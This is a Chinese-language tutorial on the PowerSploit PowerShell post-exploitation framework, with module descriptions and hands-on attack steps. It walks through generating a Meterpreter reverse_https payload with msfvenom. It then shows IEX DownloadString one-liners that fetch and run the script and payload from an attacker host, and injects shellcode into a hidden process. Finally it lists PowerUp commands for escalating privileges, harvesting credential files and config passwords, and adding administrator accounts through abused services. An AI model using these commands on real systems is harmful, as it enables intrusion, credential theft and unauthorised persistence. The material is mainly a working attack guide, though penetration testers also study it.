PowerSploit是基于PowerShell的后渗透框架,包含很多PowerShell攻击脚本,主要用于渗透中的信息侦查,权限提升,权限维持,github地址为:github.com/PowerShellMafia/PowerSploit
- 安装
- 下载程序目录
git clone https://github.com/PowerShellMafia/PowerSploit
-
- 开启Apache服务
- 将下载好的文件夹移动到 /var/www/html目录
- 在浏览器输入 127.0.0.1/PowerSploit 即可看到PowerSploit各模块
- 各模块功能
- AntivirusBypass #发现杀毒软件的查杀特征
- CodeExecution #在目标主机上执行代码
- Exfiltration #目标主机上的信息收集工具
- Mayhem #蓝屏等破坏工具
- Persistence #后门脚本(持久性控制)
- Recon #以目标主机为跳板,进行内网信息侦查
- ScriptModification #在目标主机上创建或修改脚本
- PowerSploit脚本攻击实战
- Invoke-Shellcode – 常用于将ShellCode插入指定的进程ID或本地PowerShell中
直接执行Shellcode,反弹Meterpreter Shell
- 启用后门模块exploit/multi/handler,并选择payload
windows/meterpreter/reverse_https
- 生成一个PowerShell脚本木马
msfvenom –p windows/meterpreter/reverse_https LHOST=10.238.207.80 LPORT=4444 –f powershell –o /var/www/html/test
- 在目标机器上下载脚本
IEX(New-Object Net.WebClient).DownloadString(“http://10.238.207.80/PowerSploit/CodeExecution/Invoke-Shellcode.ps1”)
- 下载木马
IEX(New-Object Net.WebClient).DownloadString(“http://10.238.207.80/test”)
- 执行木马
Invoke-Shellcode –Shellcode($buf) –Force
指定进程注入Shellcode反弹Meterpreter
- 下载脚本以及木马
IEX(New-Object Net.WebClient).DownloadString(“10.238.207.80/PowerSploit/CodeExecution/Invoke-Shellcode.ps1”)
IEX(New-Object Net.WebClient).DownloadString(“http://10.238.207.80/test”)
- 查看当前进程
Get-Process 或 ps
- 创建一个名为notepad的新进程,并设置为隐藏
Start-Process C:\windows\system32\notepad.exe –WindowStyle Hidden
- 使用Invoke-Shellcode脚本注入
Invoke-Shellcode -ProcessID <进程ID> -Shellcode($buf) –Force
- Invoke-DLLInjection – DLL注入脚本
- Invoke-Portscan – 用于端口扫描
- Invoke-Mimikatz – 获取Hash
- Get-Keystrokes – 记录键盘
- PowerUp攻击模块
是Privesc模块下的脚本,拥有众多用来寻找目标主机windows服务漏洞进行提权的使用脚本
- 加载脚本
Import-Module .\PowerUp.ps1
- 常用模块
- Invoke-AllChecks #自动执行PowerUp下所有的脚本来检查目标主机
命令:Invoke-AllChecks
- Find-PathDllHijack #检查当前%PATH%的哪些目录是用户可以写入的
命令:Find-PathDllHijack
- Get-ApplicationHost #利用系统上的application.config文件恢复加密过的应用池和虚拟目录的密码
命令:Get-ApplicationHost
Get-Application | Format-Table –Autosize #列表显示
- Get-RegistryAlwaysInstallElevated #检测AlwaysInstallElevated注册表是否被设置,如果被设置,意味着MSI文件是以SYSTEM权限运行的
命令:Get-RegistryAlwaysInstallElevated
- Get-RegistryAutoLogon #检测windows注册表的AutoAdminLogon项有没有被设置,可查询被设置默认的用户名密码
命令:Get-RegistryAutoLogon
- Get-ServiceDetail #返回某服务的信息
命令:Get-ServiceDetail –ServiceName DHCP #获取DHCP服务详细信息
- Get-ServiceFilePermission #检测当前用户能够在哪些服务的目录写入相关的可执行文件(可以通过这些文件提权)
命令:Get-ServiceFilePermission
- Test-ServiceDaclPermission #检测所有可用的服务,并尝试对这些打开的服务进行修改(若可修改,返回服务对象)
命令:Test-ServiceDaclPermission
- Get-ServiceUnquoted #用于检查服务路径,返回包含空格但不带引号的服务路径
命令:Get-ServiceUnquoted
- Get-UnattendedInstallFile #检查以下路径,查找是否存在这些文件(文件中可能包含部署凭据)
- C:\sysprep\sysprep.xml
- C:\sysprep\sysprep.inf
- C:\sysprep.inf
- C:\Windows\Panther\Unattended.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unatten\Unattend.xml
- C:\Windows\System32\Sysprep\unattend.xml
- C:\Windows\System32\Sysprep\Panther\unattend.xml
命令:Get-UnattendedInstallFile
- Get-ModifiableRegistryAutoRun #检查开机自启动的应用程序路径和注册表键值,返回当前用户可修改的程序路径
命令:Get-ModifiableRegistryAutoRun
- Get-ModifiableScheduledTaskFile #返回当前用户能够修改的计划任务程序的名称和路径
命令:Get-ModifiableScheduledTaskFile
- Get-Webconfig #返回当前服务器上web.config文件中的数据库连接字符串的明文
命令:Get-Webconfig
- Invoke-ServiceAbuse #修改服务来添加用户到指定组,并可以通过设置- Command参数触发添加用户的自定义命令
命令:Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName “..” #指定添加的域账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName <> -Password <> -LocalGroup “Administrator” #添加指定用户,密码到指定组
Invoke-ServiceAbuse -ServiceName VulnSVC -Command “..” #自定义执行命令
- Restore-ServiceBinary #恢复服务的可执行文件到原始目录
命令:Restore-ServiceBinary -ServiceName VulnSVC
- Test-ServiceDaclPermission #检查某个用户是否在服务中有自由访问控制的权限,结果返回布尔类型
命令:Test-ServiceDaclPermission -ServiceName VulnSVC
- Write-HijackDll #输出一个自定义命令且能够自我删除的bat文件到$env:Temp\debug.bat,并输出一个能够启动这个bat文件的DLL
- Write-UserAddMSL #生成一个安装文件,运行这个安装文件后会反弹添加用户的对话框
命令:Write-UserAddMSL
- Write-ServiceBinary #用于预编译C#服务的可执行文件,默认创建一个管理员账号,可以通过Command自定义命令
命令:Write-ServiceBinary –ServiceName VulnSVC #添加默认账号
Write-ServiceBinary –ServiceName VulnSVC –UserName “..” #指定添加域账号
Write-ServiceBinary –ServiceName VulnSVC –UserName <> -Password <> #指定添加用户,密码到指定组
Write-ServiceBinary –ServiceName VulnSVC –Command “..” #自定义执行命令
- Install-ServiceBinary #通过Write-ServiceBinary写一个C#的服务来添加用户,基本用法与Write-ServiceBinary相同
区别是,前者生成可执行文件,后者直接安装服务